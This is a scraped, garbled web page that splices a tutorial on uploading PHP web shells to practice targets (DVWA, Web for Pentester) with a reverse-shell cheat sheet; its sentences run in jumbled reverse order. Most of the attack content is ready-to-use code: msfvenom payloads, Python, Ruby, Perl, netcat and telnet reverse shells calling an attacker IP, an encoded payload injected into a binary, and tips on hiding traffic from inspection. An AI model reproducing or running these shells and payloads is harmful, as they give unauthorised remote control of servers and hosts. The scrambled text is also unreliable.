![]() ![]() Thus, we try to access simple-backdoor.php and obtain the following output. As we have to do all this Web for Pentesters, so we will first try to upload here simple backdoor php shell which is already available in kali and click on send the file to upload the shell.Īs you can see, we have successfully uploaded the malicious php file and received the hyperlink for the uploaded file. Now you must discover a way to upload a shell in your application. It is already accessible in Kali in the/usr/share/web shells/php folder as shown in the pic below and after that, we will run ls -al command to check the permissions given to the files. Simple-backdoor.php is a kind of web shell that can generate a remote code execution once injected in the web server and script made by “John Troon”. They are stored inside /usr/share/webshells/php and a pen-tester can directory make use of them without wasting time in writing PHP code for the malicious script. Kali Linux has inbuilt PHP Scripts for utilizing them as a backdoor to assist Pen-testing work. Today we are going to explore all kinds of php web shells what-so-ever are available in Kali Linux and so on. The attacker can then directly perform the read and write operation once the backdoor is uploaded to a destination, you can edit any file of delete the server file. Web shells are the scripts which are coded in many languages like PHP, Python, ASP, Perl and so on which further use as backdoor for illegitimate access in any server by uploading it on a web server. Target: Web for Pentester, DVWA Introduction of PHP Web Shells JSP msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.101 LPORT=443 -f raw > shell.This post will describe the various PHP web Shell uploading technique to take unauthorized access of the webserver by injecting a malicious piece of code that are written in PHP. WAR msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.101 LPORT=443 -f war > shell.war msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.1.101 LPORT=443 -f raw > shell.phpĪSP msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.101 LPORT=443 -f asp > shell.asp You can use it on both Linux and Windows. Python python -c 'import socket,subprocess,os s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(("ATTACKING-IP",80)) os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) p=subprocess.call() ' Ruby ruby -rsocket -e'f=TCPSocket.open("ATTACKING-IP",80).to_i exec sprintf("/bin/sh -i &%d 2>&%d",f,f,f)' Perl perl -e 'use Socket $i="ATTACKING-IP" $p=80 socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp")) if(connect(S,sockaddr_in($p,inet_aton($i)))) ' ![]() Telnet ATTACKING-IP 80 | /bin/bash | telnet ATTACKING-IP 443 Telnet rm -f /tmp/p mknod /tmp/p p & telnet ATTACKING-IP 80 0/tmp/p If you are on a pentestjob you might not want to communicate unencrypted.īind ncat -exec cmd.exe -allow 192.168.1.101 -vnl 5555 -ssl One feature it has that netcat does not have is encryption. Ncat is a better and more modern version of netcat. Without -e flag rm -f /tmp/p mknod /tmp/p p & nc ATTACKING-IP 4444 0/tmp/p With -e flag nc -e /bin/sh ATTACKING-IP 80 Inject payload into binary msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.101 LPORT=445 -f exe -e x86/shikata_ga_nai -i 9 -x "/somebinary.exe" -o bad_binary.exe Staged payload msfvenom -p windows/shell/reverse_tcp LHOST=196.168.0.101 LPORT=445 -f exe -o staged_reverse_tcp.exe Non-staged payload msfvenom -p windows/shell_reverse_tcp LHOST=196.168.0.101 LPORT=445 -f exe -o shell_reverse_tcp.exe msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.0.101 LPORT=443 -f exe -o met_https_reverse.exe Since it is hidden in https the communication is encrypted and can be used to bypass deep-packet inspections. It makes the meterpreter-traffic look normal. Set payload windows/meterpreter/reverse_tcp Standard meterpreter msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.101 LPORT=445 -f exe -o shell_reverse.exe This can be caught with metasploit multi-handler but not with netcat. First it sends some parts of it and sets up the connection, and then it sends some more. This can be useful for when you have very small buffer for your shellcode, so you need to divide up the payload. This can be caught with metasploit multi-handler. A non-staged shell is sent over in one block. There is an important difference between non-staged and staged payload. Many of the ones listed below comes from this cheat-sheet: This is s great collection of different types of reverse shells and webshells. ![]() Common ports\/services and how to use themīroken Authentication or Session Managementĭefault Layout of Apache on Different Versions ![]()
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